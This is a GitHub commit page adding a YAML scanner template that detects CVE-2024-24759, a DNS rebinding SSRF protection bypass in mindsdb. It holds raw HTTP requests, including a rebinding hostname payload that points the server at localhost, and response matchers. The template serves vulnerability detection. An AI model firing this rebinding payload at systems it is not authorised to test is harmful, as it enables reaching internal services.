-
Notifications
You must be signed in to change notification settings - Fork 2.7k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Fixed CVE-2024-24759 Template Fixed CVE-2024-24759 Template
- Loading branch information
Showing
1 changed file
with
84 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,84 @@ | ||
id: CVE-2024-24759 (dns-rebinding-ssrf-bypass) | ||
|
||
info: | ||
name: DNS Rebinding SSRF Protection Bypass | ||
author: Lee Changhyun(eeche) | ||
severity: high | ||
description: | | ||
Detects DNS rebinding vulnerability that allows bypass of SSRF protection. | ||
The vulnerability exists in the URL validation mechanism where DNS resolution | ||
is performed without considering DNS rebinding attacks. | ||
impact: | ||
- SSRF Protection Bypass | ||
- DNS Rebinding | ||
remidiation: | | ||
Upgrade to mindsdb version 23.12.4.2 or later | ||
reference: | ||
- https://nvd.nist.gov/vuln/detail/CVE-2024-24759 | ||
classification: | ||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H | ||
cvss-score: 9.1 | ||
cve-id: CVE-2024-24759 | ||
cwe-id: CWE-918 | ||
epss-score: 0.00084 | ||
epss-percentile: 0.37577 | ||
cpe: cpe:2.3:a:mindsdb:mindsdb:*:*:*:*:*:*:*:* | ||
metadata: | ||
max-request: 3 | ||
vendor: mindsdb | ||
product: mindsdb | ||
version: < 23.12.4.2 | ||
tags: | ||
- cve | ||
- cve2024 | ||
- mindsdb | ||
- ssrf | ||
- dns-rebinding | ||
|
||
http: | ||
- raw: | ||
- | | ||
GET /check_private_url?url=https://www.example.com HTTP/1.1 | ||
Host: {{Hostname}} | ||
Accept: application/json | ||
- | | ||
GET /check_private_url?url=http://localhost:8667 HTTP/1.1 | ||
Host: {{Hostname}} | ||
Accept: application/json | ||
- | | ||
GET /check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ HTTP/1.1 | ||
Host: {{Hostname}} | ||
Accept: application/json | ||
matchers-condition: or | ||
matchers: | ||
- type: word | ||
name: public-url-success | ||
words: | ||
- '"is_private": false' | ||
- '"status_code": 200' | ||
condition: and | ||
part: body | ||
|
||
- type: word | ||
name: private-url-blocked | ||
words: | ||
- '"is_private": true' | ||
- "Private IP address found" | ||
condition: and | ||
part: body | ||
|
||
- type: word | ||
name: dns-rebind-success | ||
words: | ||
- '"is_private": false' | ||
- '"status_code": 200' | ||
- "Directory listing for /" | ||
condition: and | ||
part: body | ||
|
||
- type: status | ||
status: | ||
- 200 |